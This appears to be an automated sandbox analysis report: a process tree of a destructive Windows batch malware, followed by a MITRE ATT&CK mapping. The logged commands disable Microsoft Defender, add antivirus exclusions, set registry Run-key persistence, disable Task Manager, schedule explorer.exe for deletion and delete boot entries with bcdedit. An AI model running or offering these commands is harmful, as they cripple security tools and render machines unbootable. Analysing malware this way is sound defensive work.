        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:6304
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:10132
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" blockshutdown
        6⤵
        Executes a command shell one-liner
        
        PID:5124
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:3444
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:10220
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:6548
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" blockinput
        6⤵
        
        PID:8400
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:7156
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:10336
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:1728
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        6⤵
        
        PID:1200
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:4796
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:6100
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:11236
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:4472
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" blockinput
    3⤵
    PID:5596
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:2572
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1820
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4608
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4744
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        
        PID:5528
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:3280
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:5664
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:3244
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        Views/modifies file attributes
        
        PID:3008
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:2580
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:2772
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:2840
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:4592
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:256
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:6316
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:6288
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:4816
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:9224
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:2956
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:7148
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:6404
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" kill_loop
        6⤵
        
        PID:7656
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:4328
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" wipe
        6⤵
        
        PID:7404
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:8844
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" fill
        6⤵
        
        PID:7944
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" spam
        6⤵
        
        PID:8284
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" deskdump
        6⤵
        Executes a command shell one-liner
        
        PID:2076
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" blockshutdown
        6⤵
        
        PID:9428
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" blockinput
        6⤵
        
        PID:7192
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
    3⤵
    PID:5748
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5808
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy ignoreallfailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:5832
- - C:\Windows\system32\bcdedit.exe
    bcdedit /delete {current} /f
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:4528
- - C:\Windows\system32\timeout.exe
    timeout /t 5 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:3008
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
    3⤵
    - Discovers running processes
    PID:5076
- - C:\Windows\system32\find.exe
    find /c /v ""
    3⤵
    PID:6124
- - C:\Windows\system32\timeout.exe
    timeout /t 5 /nobreak
    3⤵
    - Delays execution with timeout.exe
    PID:1312
- - C:\Windows\system32\tasklist.exe
    tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
    3⤵
    - Discovers running processes
    PID:3908
- - C:\Windows\system32\find.exe
    find /c /v ""
    3⤵
    PID:6720

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Inhibit System Recovery

T1490